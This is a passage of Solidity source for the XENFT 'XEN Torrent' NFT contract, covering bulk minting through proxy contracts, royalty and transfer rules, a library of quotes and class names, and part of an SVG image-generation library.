Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n 